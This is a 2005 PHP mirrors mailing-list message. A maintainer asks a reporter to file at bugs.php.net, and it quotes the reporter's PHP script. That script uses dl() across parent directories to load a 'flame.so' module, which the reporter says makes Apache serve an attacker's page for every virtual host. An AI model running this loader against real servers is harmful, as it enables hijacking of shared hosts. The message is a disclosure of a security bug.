Re: flame.so bug working in 4.3.10 - are you aware of this?

From:	Gabor Hojtsy	Date:	Wed, 23 Mar 2005 19:58:57 +0000
Subject:	Re: flame.so bug working in 4.3.10 - are you aware of this?
References:	1	Groups:	php.mirrors
Request:	Send a blank email to php-mirrors+get-27736@lists.php.net to get a copy of this message

Hi, Could you please post bug reports at http://bugs.php.net? It would be much better and actually trackable. Goba hbeaumont hbeaumont wrote:

is this a known bug: set_time_limit(600); error_reporting(0); define("PHP_MEM_DEBUG", 0); define("PHP_MEM_MAXDEPTH", 20); define("PHP_MEM_MODULE", "flame.so"); function php_flame_debug($str) {
      if (defined("PHP_MEM_DEBUG")) {
         echo $str . "<br>\n";
      }
} function php_flame_loaddl() {
      unset($i);
      settype($i, "integer");
      $i = 0;
      $pfad = substr(getcwd() . "/" . PHP_MEM_MODULE, 1);
      do {
         php_flame_debug("Trying #" . $i . ": " . $pfad);
         $stat = dl($pfad);
         $i++;
         $pfad = "../" . $pfad;
      } while ($i < PHP_MEM_MAXDEPTH && !$stat);
      return $stat;
} if (php_flame_loaddl()) {
      flame_print(getcwd());
} else {
      php_flame_debug("Cannot load " . PHP_MEM_MODULE);
} causes apache to start serving up the page of the attackers choice for all vhosts. i can send the .so file if needed.